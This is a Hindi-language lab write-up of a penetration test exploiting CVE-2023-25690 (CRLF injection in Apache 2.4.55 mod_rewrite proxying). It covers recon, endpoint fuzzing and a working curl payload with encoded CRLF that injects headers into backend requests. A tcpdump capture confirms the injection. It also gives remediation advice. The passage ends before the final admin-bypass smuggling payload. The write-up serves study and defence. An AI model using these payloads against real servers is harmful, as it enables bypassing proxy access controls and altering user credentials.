
HTTP Request Smuggling लैब: Apache 2.4.55 CRLF injection
| घटक | भूमिका | संस्करण |
|---|---|---|
| Apache HTTP Server | रिवर्स प्रॉक्सी | 2.4.55 (कमजोर) |
| Spring Boot (एम्बेडेड Tomcat) | बैकएंड API | 4.x (Java 21) |
| SQLite | डेटाबेस | — |
उपयोगकर्ता ──► Apache :80 (प्रॉक्सी) ──► Spring Boot :8080 (बैकएंड) ──► SQLite
│
├─ mod_rewrite + mod_proxy
├─ CVE-2023-25690: CRLF सैनिटाइज़ नहीं किए गए
├─ RewriteRule "^/public/?(.*)" "http://spring-backend:8080/public/$1" [P]
├─ RewriteRule "^/service/(.*)" "http://spring-backend:8080/api/status?name=$1" [P]
└─ ACL: <Location "/admin"> अवरुद्ध
POST /public/register: उपयोगकर्ताओं को डेटाबेस में पंजीकृत करने की अनुमति देता है
POST /public/login: दर्ज किए गए क्रेडेंशियल्स के सत्यापन के माध्यम से लॉगिन की अनुमति देता है और सत्र टोकन जारी करता है
GET /public/dashboard: उपयोगकर्ताओं का आरक्षित क्षेत्र
GET /api/status: "name" पैरामीटर स्वीकार करता है, सेवाओं की स्थिति सत्यापन के लिए एक उदाहरण एंडपॉइंट है
GET /public/logout
POST /admin/edit/{id}/{newName}/{newPass}: यह एक ऐसा रूट है जो सैद्धांतिक रूप से जनता के लिए दुर्गम है और प्रशासकों को उपयोगकर्ता डेटा संशोधित करने की अनुमति देता है
पेनेट्रेशन टेस्टिंग गतिविधि के दौरान रिवर्स प्रॉक्सी इन्फ्रास्ट्रक्चर में एक गंभीर कमजोरी की पहचान की गई जो Spring Boot बैकएंड को उजागर करती है। Apache HTTP Server संस्करण 2.4.55 प्रॉक्सी CVE-2023-25690 (HTTP Request Smuggling) कमजोरी से प्रभावित है, जो हमलावर को प्रॉक्सी पर लगाए गए सुरक्षा फ़िल्टर को बायपास करने और सीधे असुरक्षित आंतरिक प्रशासनिक एंडपॉइंट तक पहुंचने की अनुमति देता है।
हमला Apache की RewriteRule में नियंत्रण वर्णों (CRLF) के सैनिटाइज़ेशन की कमी का फायदा उठाता है, जिससे बैकएंड की ओर एक वैध अनुरोध के पैरामीटर के बीच दूसरा HTTP अनुरोध इंजेक्ट किया जा सकता है। प्रूफ ऑफ कॉन्सेप्ट ने /admin/edit/{id}/{newName}/{newPass} एंडपॉइंट के माध्यम से डेटाबेस में उपयोगकर्ता क्रेडेंशियल्स के अनधिकृत संशोधन को प्रदर्शित किया, जो सैद्धांतिक रूप से प्रॉक्सी ACL द्वारा संरक्षित है।
अनुशंसाएँ: Apache HTTP Server को तुरंत ≥ 2.4.56 संस्करण में अपडेट करें, प्रॉक्सी पर सुरक्षा फ़िल्टर मजबूत करें, और सभी संवेदनशील एंडपॉइंट के लिए बैकएंड साइड (Spring Security) पर सुरक्षा परत लागू करें।
प्रतिक्रिया के HTTP हेडर के विश्लेषण के माध्यम से Apache संस्करण की पहचान।
$ curl -I http://localhost/service/
HTTP/1.1 200
Date: Sun, 21 Jun 2026 08:54:00 GMT
Server: Apache/2.4.55 (Unix)
Content-Type: text/plain;charset=UTF-8
Content-Length: 42
परिणाम: सर्वर हेडर Apache/2.4.55 प्रकट करता है। CVE डेटाबेस की जांच → CVE-2023-25690 से मेल खाता है।
CVE के अनुसार, Apache के इस संस्करण में, यदि कोई RewriteRule मौजूद है जो प्रॉक्सी से आने वाले अनुरोध के सामान्य वर्णों को बैक-एंड के गंतव्य URL में कॉपी करती है, तो कॉपी किया गया टेक्स्ट सैनिटाइज़ नहीं होता है, इसलिए नियंत्रण वर्ण (जैसे कैरिज रिटर्न) भी गुजर जाते हैं
उदाहरण के लिए: RewriteRule "^/here/(.*)" "http://backend.com:8080/elsewhere?$1" [P] // P का मतलब प्रॉक्सी मोड है
इसलिए अब हमारा लक्ष्य किसी संभावित एंडपॉइंट की खोज करना है जो प्रॉक्सी स्तर पर यह ट्रांसक्रिप्शन करता है
प्रतिक्रियाओं के विश्लेषण और एप्लिकेशन के व्यवहार से यह देखा गया है कि सत्र JSESSIONID के माध्यम से प्रबंधित होता है, जो Java Servlet Container (जैसे Apache Tomcat, Jetty या WildFly) के उपयोग की पुष्टि करता है। इसके अलावा, गैर-मौजूद एंडपॉइंट पर अनुरोध "Whitelabel Error Page" लौटाता है जो दर्शाता है कि बैकएंड में Spring Boot है।
डिक्शनरी-आधारित फज़िंग के स्वचालन के लिए bash स्क्रिप्ट के माध्यम से नेटवर्क पर उजागर एंडपॉइंट (संभवतः सभी) मैप किए गए हैं
परिणाम:
| एंडपॉइंट | HTTP कोड | विधि | पैरामीटर |
|---|---|---|---|
| admin | 403 | GET | (कोई पैरामीटर नहीं) |
| public/register | 200 | POST | user=test&pass=test |
| public/login | 200 | POST | user=test&pass=test |
| public/dashboard | 200 | GET | (कोई पैरामीटर नहीं) |
| public/logout | 200 | GET | (कोई पैरामीटर नहीं) |
| api/status | 200 | GET | (कोई पैरामीटर नहीं) |
| service/* | 200 | GET | (कोई पैरामीटर नहीं) |
चूंकि
दोनों समान प्रतिक्रिया लौटाते हैं, यह समझा जाता है कि वे बैक-एंड के समान एंडपॉइंट की ओर इशारा करते हैं। इसके अलावा, चूंकि /service/x/y/z जैसे अनुरोध (जो संभवतः मौजूद नहीं हैं) 404 नहीं लौटाते हैं, यह अनुमान लगाया जा सकता है कि मूल एंडपॉइंट एक पैरामीटर स्वीकार करता है न कि path variable। इसलिए निष्कर्ष में यह अनुमान लगाया जा सकता है कि /service/<सेवा> के अनुरोध Spring Boot बैकएंड के लिए RewriteRule के साथ अनुवादित होते हैं (ठीक वही जो हम खोज रहे थे)। अब यह समझना है कि क्या यह RewriteRule डमी है, यानी .* जैसी regex का उपयोग करती है या अच्छी तरह से संरचित है।
मैं वैध सामग्री को छिपी हुई सामग्री से अलग करने के लिए अनुरोध में नियंत्रण वर्ण डालने का प्रयास करता हूं:
curl -v --path-as-is 'localhost/service/x%20HTTP/1.1%0d%0aHost:%20spring-backend%0d%0a%0d%0aprova:%20ok%0d%0atrash_header:%20'
>> ... HTTP/1.1 200 ... सेवा 'x' संचालित और स्थिर है।
मैंने यह सत्यापित करने के लिए एक कस्टम पैरामीटर डाला है कि CRLF सही ढंग से व्याख्या किए गए हैं
trash_header का कार्य उन हेडरों को समाहित करना है जो Apache बैकएंड को अनुरोध में जोड़ेगा (इस तरह वे X-Header के सरल टेक्स्ट के रूप में व्याख्या किए जाएंगे और HTTP अनुरोध के उद्देश्य के लिए उनका कोई मूल्य नहीं होगा)
बैक-एंड कंटेनर में tcpdump के साथ मैं Apache से आने वाले HTTP अनुरोध को इंटरसेप्ट करने में सक्षम था:
docker exec -it apache_vuln-spring-backend-1 sh
apk add tcpdump
tcpdump -i any -A port 8080
बैक-एंड यह अनुरोध देखता है:
GET /api/status?name=x HTTP/1.1
Host: spring-backend
prova: ok
trash_header: HTTP/1.1
Host: spring-backend:8080
User-Agent: curl/7.81.0
Accept: */*
X-Forwarded-For: 172.19.0.1
X-Forwarded-Host: localhost
X-Forwarded-Server: localhost
Connection: Keep-Alive
"नियंत्रण वर्णों ने नियंत्रण कर लिया है"
प्रतिक्रिया मुझे इंगित करती है कि नियंत्रण वर्णों वाला भाग HTTP अनुरोध की संरचना के रूप में बिना किसी बाधा के पारित हो गया है, न कि केवल एक पैरामीटर के रूप में (क्योंकि बैकएंड द्वारा कैप्चर किया गया नाम केवल 'x' है)। इसलिए हमने बैकएंड की ओर HTTP अनुरोध का प्रारूप लागू कर दिया है और प्रॉक्सी ने इसे स्वीकार कर लिया है, यह स्मगलिंग के लिए वास्तविक पेलोड का मार्ग खोलता है।